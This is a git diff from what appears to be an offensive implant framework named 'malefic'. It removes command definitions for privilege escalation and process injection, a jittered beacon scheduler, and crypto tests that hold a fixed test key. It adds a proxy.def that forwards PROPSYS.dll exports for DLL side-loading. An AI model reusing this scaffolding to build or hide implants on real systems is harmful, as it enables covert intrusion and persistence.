#[prost(message, tag = "130")] - RunasRequest(super::super::modulepb::RunAsRequest), - #[prost(message, tag = "131")] - Getsystem(super::super::modulepb::GetSystem), - #[prost(message, tag = "132")] - Inject(super::super::modulepb::Inject), - #[prost(message, tag = "140")] - PipeRequest(super::super::modulepb::Pipe), - #[prost(message, tag = "141")] - EnumDriversResponse(super::super::modulepb::EnumDriversResponse), - #[prost(message, tag = "150")] - FfmpegRequest(super::super::modulepb::FFmpegRequest), - #[prost(message, tag = "151")] - PtyRequest(super::super::modulepb::PtyRequest), - #[prost(message, tag = "152")] - PtyResponse(super::super::modulepb::PtyResponse), - } -} -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Spites { - #[prost(message, repeated, tag = "1")] - pub spites: ::prost::alloc::vec::Vec, -} diff --git a/malefic-proto/src/scheduler.rs b/malefic-proto/src/scheduler.rs deleted file mode 100644 index 1783e1b..0000000 --- a/malefic-proto/src/scheduler.rs +++ /dev/null @@ -1,121 +0,0 @@ -use cron::Schedule; -use chrono::{DateTime, Utc}; -use std::str::FromStr; -use nanorand::{WyRand, Rng}; - -pub struct CronScheduler { - schedule: Schedule, - jitter: f64, -} - -impl CronScheduler { - /// 创建新的cron调度器 - pub fn new(expression: &str, jitter: f64) -> Result { - let schedule = Schedule::from_str(expression)?; - Ok(Self { schedule, jitter }) - } - - pub fn next_interval(&self) -> u64 { - let now = Utc::now(); - - // 获å–下次执行时间 - let next_time = self.schedule.upcoming(Utc).next() - .unwrap_or_else(|| now + chrono::Duration::seconds(30)); // 默认30ç§’åŽ - - // 计算时间差 - let duration = next_time.signed_duration_since(now); - let base_ms = duration.num_milliseconds().max(0) as u64; - - // 应用jitter - self.apply_jitter(base_ms) - } - - pub fn next_interval_with_out_jitter(&self) -> u64 { - let now = Utc::now(); - - let next_time = self.schedule.upcoming(Utc).next() - .unwrap_or_else(|| now + chrono::Duration::seconds(30)); - - let duration = next_time.signed_duration_since(now); - let base_ms = duration.num_milliseconds().max(0) as u64; - - base_ms - } - - /// 计算从指定时间到下次执行的间隔 - pub fn next_interval_from(&self, from: DateTime) -> u64 { - let next_time = self.schedule.after(&from).next() - .unwrap_or_else(|| from + chrono::Duration::seconds(30)); - - let duration = next_time.signed_duration_since(from); - let base_ms = duration.num_milliseconds().max(0) as u64; - - self.apply_jitter(base_ms) - } - - /// 应用jitter抖动 - fn apply_jitter(&self, base_ms: u64) -> u64 { - if self.jitter == 0.0 { - return base_ms; - } - - let mut rng = WyRand::new(); - let jitter_range = (base_ms as f64 * self.jitter) as u64; - - if jitter_range == 0 { - return base_ms; - } - - // ç”Ÿæˆ -jitter_range 到 +jitter_range çš„éšæœºåç§» - let offset = rng.generate_range(0..=(jitter_range * 2)); - let signed_offset = offset as i64 - jitter_range as i64; - - (base_ms as i64 + signed_offset).max(1000) as u64 // 最å°1ç§’ - } - - /// æ£€æŸ¥å½“å‰æ—¶é—´æ˜¯å¦åœ¨è°ƒåº¦èŒƒå›´å†… - pub fn is_active_now(&self) -> bool { - let now = Utc::now(); - self.schedule.includes(now) - } - - /// 获å–下次执行时间 - pub fn next_execution_time(&self) -> Option> { - self.schedule.upcoming(Utc).next() - } - - /// 获å–è°ƒåº¦è¡¨è¾¾å¼ - pub fn expression(&self) -> String { - self.schedule.source().to_string() - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_cron_scheduler() { - // æ¯30秒执行 - let scheduler = CronScheduler::new("0/30 * * * * *", 0.1).unwrap(); - let interval = scheduler.next_interval(); - assert!(interval > 0); - assert!(interval <= 30000 + 3000); // 30ç§’ + 10%抖动 - - // 工作时间æ¯åˆ†é’Ÿæ‰§è¡Œ - let scheduler = CronScheduler::new("0 * 9-17 * * *", 0.0).unwrap(); - assert!(scheduler.next_interval() > 0); - } - - #[test] - fn test_jitter() { - let scheduler = CronScheduler::new("0/10 * * * * *", 0.2).unwrap(); - - // 多次计算,应该有ä¸åŒçš„结果(由于jitter) - let intervals: Vec = (0..5).map(|_| scheduler.next_interval()).collect(); - - // æ£€æŸ¥æ˜¯å¦æœ‰å˜åŒ–(jitter生效) - let all_same = intervals.windows(2).all(|w| w[0] == w[1]); - assert!(!all_same, "Jitter should cause variation in intervals"); - } -} diff --git a/malefic-proto/tests/test_age.rs b/malefic-proto/tests/test_age.rs deleted file mode 100644 index 2feed71..0000000 --- a/malefic-proto/tests/test_age.rs +++ /dev/null @@ -1,165 +0,0 @@ -#[cfg(test)] -mod tests { - use malefic_proto::crypto::age::{age_decrypt, age_encrypt, generate_age_keypair, parse_age_identity, parse_age_recipient}; - use super::*; - - // 测试用的固定密钥对 - const TEST_PRIVATE_KEY: &str = "AGE-SECRET-KEY-1NHEED05N64AGNN7EU7U3ZZGPJ96DE9TJ4PT0V2J3NRHJTHD42S9SVKLSFG"; - const TEST_PUBLIC_KEY: &str = "age1kzyvhtd5hncrv2xnu8z6f95a90rlgt5e7lr9qkry0eygx5ygxd7qj67evy"; - - #[test] - fn test_generate_age_keypair() { - let (private_key, public_key) = generate_age_keypair(); - - // 验è¯å¯†é’¥ä¸ä¸ºç©º - assert!(!private_key.is_empty()); - assert!(!public_key.is_empty()); - - // 验è¯ç§é’¥æ ¼å¼ - assert!(private_key.starts_with("AGE-SECRET-KEY-")); - - // 验è¯å…¬é’¥æ ¼å¼ - assert!(public_key.starts_with("age")); - - // 验è¯ç”Ÿæˆçš„密钥å¯ä»¥æ­£ç¡®è§£æž - assert!(parse_age_identity(&private_key).is_ok()); - assert!(parse_age_recipient(&public_key).is_ok()); - } - - #[test] - fn test_age_encrypt_decrypt_with_test_keys() { - let test_data = b"Hello, Age encryption test!"; - - // 使用测试密钥对进行加密 - let encrypted_result = age_encrypt(test_data, TEST_PUBLIC_KEY); - assert!(encrypted_result.is_ok()); - println!("encrypted_result: {:?}", encrypted_result); - let encrypted_data = encrypted_result.unwrap(); - // [97 103 101 45 101 110 99 114 121 112 116 105 111 110 46 111 114 103 47 118 49 10 45 62 32 88 50 53 53 49 57 32 77 107 69 112 66 118 72 57 112 71 115 114 110 53 65 87 106 78 51 77 119 114 55 78 106 106 101 49 111 85 114 53 50 115 118 53 57 49 116 105 51 106 77 10 80 79 65 78 90 55 122 119 107 83 77 121 53 106 110 109 108 73 78 82 74 50 74 48 109 57 102 67 97 55 82 48 81 122 43 78 114 51 49 90 73 78 103 10 45 45 45 32 103 89 47 102 74 120 66 111 77 105 76 49 82 113 79 117 106 86 55 82 114 118 98 84 66 55 78 84 98 117 78 85 67 81 49 97 68 79 106 113 90 72 103 10 236 250 185 201 8 170 176 15 3 116 166 58 207 17 11 20 14 97 192 99 191 60 191 68 188 255 117 69 239 58 44 138 51 107 182 117 22 255 53 206 99 255 228 164 181 7 0 95 207 85 230 251 127 114 230 253 67 152 229] - let encrypted_data = vec![97, 103, 101, 45, 101, 110, 99, 114, 121, 112, 116, 105, 111, 110, 46, 111, 114, 103, 47, 118, 49, ]; - assert!(!encrypted_data.is_empty()); - assert_ne!(encrypted_data, test_data.to_vec()); - - // 使用测试ç§é’¥è¿›è¡Œè§£å¯† - let decrypted_result = age_decrypt(&encrypted_data, TEST_PRIVATE_KEY); - assert!(decrypted_result.is_ok()); - - let decrypted_data = decrypted_result.unwrap(); - assert_eq!(decrypted_data, test_data); - } - - #[test] - fn test_age_encrypt_decrypt_with_generated_keys() { - let test_data = b"This is a test message for Age encryption."; - - // ç”Ÿæˆæ–°çš„密钥对 - let (private_key, public_key) = generate_age_keypair(); - - // 加密 - let encrypted_result = age_encrypt(test_data, &public_key); - assert!(encrypted_result.is_ok()); - - let encrypted_data = encrypted_result.unwrap(); - assert!(!encrypted_data.is_empty()); - assert_ne!(encrypted_data, test_data.to_vec()); - - // 解密 - let decrypted_result = age_decrypt(&encrypted_data, &private_key); - assert!(decrypted_result.is_ok()); - - let decrypted_data = decrypted_result.unwrap(); - assert_eq!(decrypted_data, test_data); - } - - #[test] - fn test_age_encrypt_multiple_recipients() { - let test_data = b"Multi-recipient test message"; - - // 生æˆä¸¤ä¸ªå¯†é’¥å¯¹ - let (private_key1, public_key1) = generate_age_keypair(); - let (private_key2, public_key2) = generate_age_keypair(); - - // 使用多个接收者进行加密 - let encrypted_result = age_encrypt(test_data, &public_key1); - assert!(encrypted_result.is_ok()); - - let encrypted_data = encrypted_result.unwrap(); - - // 使用第一个ç§é’¥è§£å¯† - let decrypted_result1 = age_decrypt(&encrypted_data, &private_key1); - assert!(decrypted_result1.is_ok()); - assert_eq!(decrypted_result1.unwrap(), test_data); - - // 使用第二个ç§é’¥è§£å¯† - let decrypted_result2 = age_decrypt(&encrypted_data, &private_key2); - assert!(decrypted_result2.is_ok()); - assert_eq!(decrypted_result2.unwrap(), test_data); - } - - #[test] - fn test_age_encrypt_with_invalid_public_key() { - let test_data = b"Test data"; - let invalid_public_key = "invalid-public-key"; - - let result = age_encrypt(test_data, invalid_public_key); - assert!(result.is_err()); - } - - #[test] - fn test_age_decrypt_with_invalid_private_key() { - let test_data = b"Test data for invalid key test"; - - // 先用有效密钥加密 - let encrypted_data = age_encrypt(test_data, TEST_PUBLIC_KEY).unwrap(); - - // 使用无效ç§é’¥è§£å¯† - let invalid_private_key = "invalid-private-key"; - let result = age_decrypt(&encrypted_data, invalid_private_key); - assert!(result.is_err()); - } - - #[test] - fn test_age_decrypt_with_wrong_private_key() { - let test_data = b"Test data for wrong key test"; - - // 生æˆä¸¤ä¸ªä¸åŒçš„密钥对 - let (_, public_key1) = generate_age_keypair(); - let (private_key2, _) = generate_age_keypair(); - - // 用第一个公钥加密 - let encrypted_data = age_encrypt(test_data, &public_key1).unwrap(); - - // 用第二个ç§é’¥è§£å¯†ï¼ˆåº”该失败) - let result = age_decrypt(&encrypted_data, &private_key2); - assert!(result.is_err()); - } - - #[test] - fn test_age_encrypt_empty_data() { - let empty_data = b""; - - let result = age_encrypt(empty_data, TEST_PUBLIC_KEY); - assert!(result.is_ok()); - - let encrypted_data = result.unwrap(); - let decrypted_result = age_decrypt(&encrypted_data, TEST_PRIVATE_KEY); - assert!(decrypted_result.is_ok()); - assert_eq!(decrypted_result.unwrap(), empty_data); - } - - #[test] - fn test_age_encrypt_large_data() { - // æµ‹è¯•è¾ƒå¤§çš„æ•°æ® - let large_data = vec![0x42u8; 1024 * 1024]; // 1MB of data - - let encrypted_result = age_encrypt(&large_data, TEST_PUBLIC_KEY); - assert!(encrypted_result.is_ok()); - - let encrypted_data = encrypted_result.unwrap(); - let decrypted_result = age_decrypt(&encrypted_data, TEST_PRIVATE_KEY); - assert!(decrypted_result.is_ok()); - - let decrypted_data = decrypted_result.unwrap(); - assert_eq!(decrypted_data, large_data); - } -} \ No newline at end of file diff --git a/malefic-proto/tests/test_compress.rs b/malefic-proto/tests/test_compress.rs deleted file mode 100644 index e69de29..0000000 diff --git a/malefic-proto/tests/test_crypto.rs b/malefic-proto/tests/test_crypto.rs deleted file mode 100644 index dcdefdb..0000000 --- a/malefic-proto/tests/test_crypto.rs +++ /dev/null @@ -1,100 +0,0 @@ -#![allow(unused_imports)] -use std::io::{Cursor, Read, Write}; -use malefic_proto::crypto::CryptoStream; - -#[cfg(feature = "Crypto_AES")] -#[test] -fn test_aes() { - use malefic_proto::crypto::aes::AesCtrEncryptor; - let key = [ - 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, - 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, - 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, - 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, - ]; // 与 Golang 中相åŒçš„ key - let iv = [ - 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, - 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, - ]; // 与 Golang 中相åŒçš„ iv - - let mut crypto = AesCtrEncryptor::new(key, iv); - - let plaintext = b"1234".to_vec(); - let mut reader = Cursor::new(plaintext.clone()); - let mut writer = Cursor::new(Vec::new()); - - // Encrypt - crypto.encrypt(&mut reader, &mut writer).expect("Encryption failed"); - let ciphertext = writer.into_inner(); - println!("{:?}", ciphertext); - - let mut reader = Cursor::new(plaintext.clone()); - let mut writer = Cursor::new(Vec::new()); - - // Encrypt - crypto.encrypt(&mut reader, &mut writer).expect("Encryption failed"); - let ciphertext = writer.into_inner(); - println!("{:?}", ciphertext); - - // Decrypt - let mut reader = Cursor::new(ciphertext); - let mut writer = Cursor::new(Vec::new()); - crypto.decrypt(&mut reader, &mut writer).expect("Decryption failed"); - - let decrypted_text = writer.into_inner(); - assert_eq!(plaintext, decrypted_text, "Decrypted text does not match original"); -} - -#[cfg(feature = "Crypto_Chacha20")] -#[test] -fn test_chacha20() { - use malefic_proto::crypto::chacha20::ChaCha20Encryptor; - let key = [0u8; 32]; // Example key, should be generated securely - let iv = [1u8; 12]; // Fixed IV for test purposes - - let mut encryptor = ChaCha20Encryptor::new(key, iv); - - let plaintext = b"Hello, ChaCha20!".to_vec(); - let mut reader = Cursor::new(plaintext.clone()); - let mut writer = Cursor::new(Vec::new()); - - // Encrypt - encryptor.encrypt(&mut reader, &mut writer).expect("Encryption failed"); - let ciphertext = writer.into_inner(); - - // Decrypt - let mut reader = Cursor::new(ciphertext); - let mut writer = Cursor::new(Vec::new()); - encryptor.decrypt(&mut reader, &mut writer).expect("Decryption failed"); - - let decrypted_text = writer.into_inner(); - assert_eq!(plaintext, decrypted_text, "Decrypted text does not match original"); -} - -#[cfg(feature = "Crypto_XOR")] -#[test] -fn test_xor() { - use malefic_proto::crypto::xor::XorEncryptor; - - let key = vec![0u8, 1]; - let iv = vec![0u8, 1]; - - let mut encryptor = XorEncryptor::new(key, iv); - - let plaintext = b"Hello, XOR encryption!".to_vec(); // 测试用的明文,与 Golang 一致 - let mut reader = Cursor::new(plaintext.clone()); - let mut writer = Cursor::new(Vec::new()); - - // 加密 - encryptor.encrypt(&mut reader, &mut writer).expect("Encryption failed"); - let ciphertext = writer.into_inner(); - println!("Ciphertext: {:?}", ciphertext); - - // 解密 - let mut reader = Cursor::new(ciphertext); - let mut writer = Cursor::new(Vec::new()); - encryptor.decrypt(&mut reader, &mut writer).expect("Decryption failed"); - - let decrypted_text = writer.into_inner(); - assert_eq!(plaintext, decrypted_text, "Decrypted text does not match original"); -} diff --git a/malefic-proxydll/Cargo.toml b/malefic-proxydll/Cargo.toml index b703564..064dfea 100644 --- a/malefic-proxydll/Cargo.toml +++ b/malefic-proxydll/Cargo.toml @@ -15,8 +15,8 @@ crate-type = ["cdylib"] [dependencies] lazy_static = { version = "1.5.0", features = ["spin_no_std"] } -malefic-helper = { path = "../malefic-helper" } -malefic-prelude = { path = "../malefic-prelude", optional = true} +malefic-os-win = { path = "../malefic-crates/win" } +malefic-autorun = { path = "../malefic-crates/autorun", optional = true} [dependencies.windows] version = "0.51" diff --git a/malefic-proxydll/proxy.def b/malefic-proxydll/proxy.def new file mode 100644 index 0000000..44702a0 --- /dev/null +++ b/malefic-proxydll/proxy.def @@ -0,0 +1,224 @@ +EXPORTS +ClearPropVariantArray=PROPSYS_rename.dll.ClearPropVariantArray @1 +ClearVariantArray=PROPSYS_rename.dll.ClearVariantArray @2 +DllCanUnloadNow=PROPSYS_rename.dll.DllCanUnloadNow @3 +DllGetClassObject=PROPSYS_rename.dll.DllGetClassObject @4 +DllRegisterServer=PROPSYS_rename.dll.DllRegisterServer @5 +DllUnregisterServer=PROPSYS_rename.dll.DllUnregisterServer @6 +GetProxyDllInfo=PROPSYS_rename.dll.GetProxyDllInfo @7 +InitPropVariantFromBooleanVector=PROPSYS_rename.dll.InitPropVariantFromBooleanVector @8 +InitPropVariantFromBuffer=PROPSYS_rename.dll.InitPropVariantFromBuffer @9 +InitPropVariantFromCLSID=PROPSYS_rename.dll.InitPropVariantFromCLSID @10 +InitPropVariantFromDoubleVector=PROPSYS_rename.dll.InitPropVariantFromDoubleVector @11 +InitPropVariantFromFileTime=PROPSYS_rename.dll.InitPropVariantFromFileTime @12 +InitPropVariantFromFileTimeVector=PROPSYS_rename.dll.InitPropVariantFromFileTimeVector @13 +InitPropVariantFromGUIDAsString=PROPSYS_rename.dll.InitPropVariantFromGUIDAsString @14 +InitPropVariantFromInt16Vector=PROPSYS_rename.dll.InitPropVariantFromInt16Vector @15 +InitPropVariantFromInt32Vector=PROPSYS_rename.dll.InitPropVariantFromInt32Vector @16 +InitPropVariantFromInt64Vector=PROPSYS_rename.dll.InitPropVariantFromInt64Vector @17 +InitPropVariantFromPropVariantVectorElem=PROPSYS_rename.dll.InitPropVariantFromPropVariantVectorElem @18 +InitPropVariantFromResource=PROPSYS_rename.dll.InitPropVariantFromResource @19 +InitPropVariantFromStrRet=PROPSYS_rename.dll.InitPropVariantFromStrRet @20 +InitPropVariantFromStringAsVector=PROPSYS_rename.dll.InitPropVariantFromStringAsVector @21 +InitPropVariantFromStringVector=PROPSYS_rename.dll.InitPropVariantFromStringVector @22 +InitPropVariantFromUInt16Vector=PROPSYS_rename.dll.InitPropVariantFromUInt16Vector @23 +InitPropVariantFromUInt32Vector=PROPSYS_rename.dll.InitPropVariantFromUInt32Vector @24 +InitPropVariantFromUInt64Vector=PROPSYS_rename.dll.InitPropVariantFromUInt64Vector @25 +InitPropVariantVectorFromPropVariant=PROPSYS_rename.dll.InitPropVariantVectorFromPropVariant @26 +InitVariantFromBooleanArray=PROPSYS_rename.dll.InitVariantFromBooleanArray @27 +InitVariantFromBuffer=PROPSYS_rename.dll.InitVariantFromBuffer @28 +InitVariantFromDoubleArray=PROPSYS_rename.dll.InitVariantFromDoubleArray @29 +InitVariantFromFileTime=PROPSYS_rename.dll.InitVariantFromFileTime @30 +InitVariantFromFileTimeArray=PROPSYS_rename.dll.InitVariantFromFileTimeArray @31 +InitVariantFromGUIDAsString=PROPSYS_rename.dll.InitVariantFromGUIDAsString @32 +InitVariantFromInt16Array=PROPSYS_rename.dll.InitVariantFromInt16Array @33 +InitVariantFromInt32Array=PROPSYS_rename.dll.InitVariantFromInt32Array @34 +InitVariantFromInt64Array=PROPSYS_rename.dll.InitVariantFromInt64Array @35 +InitVariantFromResource=PROPSYS_rename.dll.InitVariantFromResource @36 +InitVariantFromStrRet=PROPSYS_rename.dll.InitVariantFromStrRet @37 +InitVariantFromStringArray=PROPSYS_rename.dll.InitVariantFromStringArray @38 +InitVariantFromUInt16Array=PROPSYS_rename.dll.InitVariantFromUInt16Array @39 +InitVariantFromUInt32Array=PROPSYS_rename.dll.InitVariantFromUInt32Array @40 +InitVariantFromUInt64Array=PROPSYS_rename.dll.InitVariantFromUInt64Array @41 +InitVariantFromVariantArrayElem=PROPSYS_rename.dll.InitVariantFromVariantArrayElem @42 +PSCoerceToCanonicalValue=PROPSYS_rename.dll.PSCoerceToCanonicalValue @43 +PSCreateAdapterFromPropertyStore=PROPSYS_rename.dll.PSCreateAdapterFromPropertyStore @44 +PSCreateDelayedMultiplexPropertyStore=PROPSYS_rename.dll.PSCreateDelayedMultiplexPropertyStore @45 +PSCreateMemoryPropertyStore @46 +PSCreateMultiplexPropertyStore=PROPSYS_rename.dll.PSCreateMultiplexPropertyStore @47 +PSCreatePropertyChangeArray=PROPSYS_rename.dll.PSCreatePropertyChangeArray @48 +PSCreatePropertyStoreFromObject=PROPSYS_rename.dll.PSCreatePropertyStoreFromObject @49 +PSCreatePropertyStoreFromPropertySetStorage=PROPSYS_rename.dll.PSCreatePropertyStoreFromPropertySetStorage @50 +PSCreateSimplePropertyChange=PROPSYS_rename.dll.PSCreateSimplePropertyChange @51 +PSEnumeratePropertyDescriptions=PROPSYS_rename.dll.PSEnumeratePropertyDescriptions @52 +PSFormatForDisplay=PROPSYS_rename.dll.PSFormatForDisplay @53 +PSFormatForDisplayAlloc=PROPSYS_rename.dll.PSFormatForDisplayAlloc @54 +PSFormatPropertyValue=PROPSYS_rename.dll.PSFormatPropertyValue @55 +PSGetImageReferenceForValue=PROPSYS_rename.dll.PSGetImageReferenceForValue @56 +PSGetItemPropertyHandler=PROPSYS_rename.dll.PSGetItemPropertyHandler @57 +PSGetItemPropertyHandlerWithCreateObject=PROPSYS_rename.dll.PSGetItemPropertyHandlerWithCreateObject @58 +PSGetNameFromPropertyKey=PROPSYS_rename.dll.PSGetNameFromPropertyKey @59 +PSGetNamedPropertyFromPropertyStorage=PROPSYS_rename.dll.PSGetNamedPropertyFromPropertyStorage @60 +PSGetPropertyDescription=PROPSYS_rename.dll.PSGetPropertyDescription @61 +PSGetPropertyDescriptionByName=PROPSYS_rename.dll.PSGetPropertyDescriptionByName @62 +PSGetPropertyDescriptionListFromString=PROPSYS_rename.dll.PSGetPropertyDescriptionListFromString @63 +PSGetPropertyFromPropertyStorage=PROPSYS_rename.dll.PSGetPropertyFromPropertyStorage @64 +PSGetPropertyKeyFromName=PROPSYS_rename.dll.PSGetPropertyKeyFromName @65 +PSGetPropertySystem=PROPSYS_rename.dll.PSGetPropertySystem @66 +PSGetPropertyValue=PROPSYS_rename.dll.PSGetPropertyValue @67 +PSLookupPropertyHandlerCLSID=PROPSYS_rename.dll.PSLookupPropertyHandlerCLSID @68 +PSPropertyBag_Delete=PROPSYS_rename.dll.PSPropertyBag_Delete @69 +PSPropertyBag_ReadBOOL=PROPSYS_rename.dll.PSPropertyBag_ReadBOOL @70 +PSPropertyBag_ReadBSTR=PROPSYS_rename.dll.PSPropertyBag_ReadBSTR @71 +PSPropertyBag_ReadDWORD=PROPSYS_rename.dll.PSPropertyBag_ReadDWORD @72 +PSPropertyBag_ReadGUID=PROPSYS_rename.dll.PSPropertyBag_ReadGUID @73 +PSPropertyBag_ReadInt=PROPSYS_rename.dll.PSPropertyBag_ReadInt @74 +PSPropertyBag_ReadLONG=PROPSYS_rename.dll.PSPropertyBag_ReadLONG @75 +PSPropertyBag_ReadPOINTL=PROPSYS_rename.dll.PSPropertyBag_ReadPOINTL @76 +PSPropertyBag_ReadPOINTS=PROPSYS_rename.dll.PSPropertyBag_ReadPOINTS @77 +PSPropertyBag_ReadPropertyKey=PROPSYS_rename.dll.PSPropertyBag_ReadPropertyKey @78 +PSPropertyBag_ReadRECTL=PROPSYS_rename.dll.PSPropertyBag_ReadRECTL @79 +PSPropertyBag_ReadSHORT=PROPSYS_rename.dll.PSPropertyBag_ReadSHORT @80 +PSPropertyBag_ReadStr=PROPSYS_rename.dll.PSPropertyBag_ReadStr @81 +PSPropertyBag_ReadStrAlloc=PROPSYS_rename.dll.PSPropertyBag_ReadStrAlloc @82 +PSPropertyBag_ReadStream=PROPSYS_rename.dll.PSPropertyBag_ReadStream @83 +PSPropertyBag_ReadType=PROPSYS_rename.dll.PSPropertyBag_ReadType @84 +PSPropertyBag_ReadULONGLONG=PROPSYS_rename.dll.PSPropertyBag_ReadULONGLONG @85 +PSPropertyBag_ReadUnknown=PROPSYS_rename.dll.PSPropertyBag_ReadUnknown @86 +PSPropertyBag_WriteBOOL=PROPSYS_rename.dll.PSPropertyBag_WriteBOOL @87 +PSPropertyBag_WriteBSTR=PROPSYS_rename.dll.PSPropertyBag_WriteBSTR @88 +PSPropertyBag_WriteDWORD=PROPSYS_rename.dll.PSPropertyBag_WriteDWORD @89 +PSPropertyBag_WriteGUID=PROPSYS_rename.dll.PSPropertyBag_WriteGUID @90 +PSPropertyBag_WriteInt=PROPSYS_rename.dll.PSPropertyBag_WriteInt @91 +PSPropertyBag_WriteLONG=PROPSYS_rename.dll.PSPropertyBag_WriteLONG @92 +PSPropertyBag_WritePOINTL=PROPSYS_rename.dll.PSPropertyBag_WritePOINTL @93 +PSPropertyBag_WritePOINTS=PROPSYS_rename.dll.PSPropertyBag_WritePOINTS @94 +PSPropertyBag_WritePropertyKey=PROPSYS_rename.dll.PSPropertyBag_WritePropertyKey @95 +PSPropertyBag_WriteRECTL=PROPSYS_rename.dll.PSPropertyBag_WriteRECTL @96 +PSPropertyBag_WriteSHORT=PROPSYS_rename.dll.PSPropertyBag_WriteSHORT @97 +PSPropertyBag_WriteStr=PROPSYS_rename.dll.PSPropertyBag_WriteStr @98 +PSPropertyBag_WriteStream=PROPSYS_rename.dll.PSPropertyBag_WriteStream @99 +PSPropertyBag_WriteULONGLONG=PROPSYS_rename.dll.PSPropertyBag_WriteULONGLONG @100 +PSPropertyBag_WriteUnknown=PROPSYS_rename.dll.PSPropertyBag_WriteUnknown @101 +PSPropertyKeyFromString=PROPSYS_rename.dll.PSPropertyKeyFromString @102 +PSRefreshPropertySchema=PROPSYS_rename.dll.PSRefreshPropertySchema @103 +PSRegisterPropertySchema=PROPSYS_rename.dll.PSRegisterPropertySchema @104 +PSSetPropertyValue=PROPSYS_rename.dll.PSSetPropertyValue @105 +PSStringFromPropertyKey=PROPSYS_rename.dll.PSStringFromPropertyKey @106 +PSUnregisterPropertySchema=PROPSYS_rename.dll.PSUnregisterPropertySchema @107 +PropVariantChangeType=PROPSYS_rename.dll.PropVariantChangeType @108 +PropVariantCompareEx=PROPSYS_rename.dll.PropVariantCompareEx @109 +PropVariantGetBooleanElem=PROPSYS_rename.dll.PropVariantGetBooleanElem @110 +PropVariantGetDoubleElem=PROPSYS_rename.dll.PropVariantGetDoubleElem @111 +PropVariantGetElementCount=PROPSYS_rename.dll.PropVariantGetElementCount @112 +PropVariantGetFileTimeElem=PROPSYS_rename.dll.PropVariantGetFileTimeElem @113 +PropVariantGetInt16Elem=PROPSYS_rename.dll.PropVariantGetInt16Elem @114 +PropVariantGetInt32Elem=PROPSYS_rename.dll.PropVariantGetInt32Elem @115 +PropVariantGetInt64Elem=PROPSYS_rename.dll.PropVariantGetInt64Elem @116 +PropVariantGetStringElem=PROPSYS_rename.dll.PropVariantGetStringElem @117 +PropVariantGetUInt16Elem=PROPSYS_rename.dll.PropVariantGetUInt16Elem @118 +PropVariantGetUInt32Elem=PROPSYS_rename.dll.PropVariantGetUInt32Elem @119 +PropVariantGetUInt64Elem=PROPSYS_rename.dll.PropVariantGetUInt64Elem @120 +PropVariantToBSTR=PROPSYS_rename.dll.PropVariantToBSTR @121 +PropVariantToBoolean=PROPSYS_rename.dll.PropVariantToBoolean @122 +PropVariantToBooleanVector=PROPSYS_rename.dll.PropVariantToBooleanVector @123 +PropVariantToBooleanVectorAlloc=PROPSYS_rename.dll.PropVariantToBooleanVectorAlloc @124 +PropVariantToBooleanWithDefault=PROPSYS_rename.dll.PropVariantToBooleanWithDefault @125 +PropVariantToBuffer=PROPSYS_rename.dll.PropVariantToBuffer @126 +PropVariantToDouble=PROPSYS_rename.dll.PropVariantToDouble @127 +PropVariantToDoubleVector=PROPSYS_rename.dll.PropVariantToDoubleVector @128 +PropVariantToDoubleVectorAlloc=PROPSYS_rename.dll.PropVariantToDoubleVectorAlloc @129 +PropVariantToDoubleWithDefault=PROPSYS_rename.dll.PropVariantToDoubleWithDefault @130 +PropVariantToFileTime=PROPSYS_rename.dll.PropVariantToFileTime @131 +PropVariantToFileTimeVector=PROPSYS_rename.dll.PropVariantToFileTimeVector @132 +PropVariantToFileTimeVectorAlloc=PROPSYS_rename.dll.PropVariantToFileTimeVectorAlloc @133 +PropVariantToGUID=PROPSYS_rename.dll.PropVariantToGUID @134 +PropVariantToInt16=PROPSYS_rename.dll.PropVariantToInt16 @135 +PropVariantToInt16Vector=PROPSYS_rename.dll.PropVariantToInt16Vector @136 +PropVariantToInt16VectorAlloc=PROPSYS_rename.dll.PropVariantToInt16VectorAlloc @137 +PropVariantToInt16WithDefault=PROPSYS_rename.dll.PropVariantToInt16WithDefault @138 +PropVariantToInt32=PROPSYS_rename.dll.PropVariantToInt32 @139 +PropVariantToInt32Vector=PROPSYS_rename.dll.PropVariantToInt32Vector @140 +PropVariantToInt32VectorAlloc=PROPSYS_rename.dll.PropVariantToInt32VectorAlloc @141 +PropVariantToInt32WithDefault=PROPSYS_rename.dll.PropVariantToInt32WithDefault @142 +PropVariantToInt64=PROPSYS_rename.dll.PropVariantToInt64 @143 +PropVariantToInt64Vector=PROPSYS_rename.dll.PropVariantToInt64Vector @144 +PropVariantToInt64VectorAlloc=PROPSYS_rename.dll.PropVariantToInt64VectorAlloc @145 +PropVariantToInt64WithDefault=PROPSYS_rename.dll.PropVariantToInt64WithDefault @146 +PropVariantToStrRet=PROPSYS_rename.dll.PropVariantToStrRet @147 +PropVariantToString=PROPSYS_rename.dll.PropVariantToString @148 +PropVariantToStringAlloc=PROPSYS_rename.dll.PropVariantToStringAlloc @149 +PropVariantToStringVector=PROPSYS_rename.dll.PropVariantToStringVector @150 +PropVariantToStringVectorAlloc=PROPSYS_rename.dll.PropVariantToStringVectorAlloc @151 +PropVariantToStringWithDefault=PROPSYS_rename.dll.PropVariantToStringWithDefault @152 +PropVariantToUInt16=PROPSYS_rename.dll.PropVariantToUInt16 @153 +PropVariantToUInt16Vector=PROPSYS_rename.dll.PropVariantToUInt16Vector @154 +PropVariantToUInt16VectorAlloc=PROPSYS_rename.dll.PropVariantToUInt16VectorAlloc @155 +PropVariantToUInt16WithDefault=PROPSYS_rename.dll.PropVariantToUInt16WithDefault @156 +PropVariantToUInt32=PROPSYS_rename.dll.PropVariantToUInt32 @157 +PropVariantToUInt32Vector=PROPSYS_rename.dll.PropVariantToUInt32Vector @158 +PropVariantToUInt32VectorAlloc=PROPSYS_rename.dll.PropVariantToUInt32VectorAlloc @159 +PropVariantToUInt32WithDefault=PROPSYS_rename.dll.PropVariantToUInt32WithDefault @160 +PropVariantToUInt64=PROPSYS_rename.dll.PropVariantToUInt64 @161 +PropVariantToUInt64Vector=PROPSYS_rename.dll.PropVariantToUInt64Vector @162 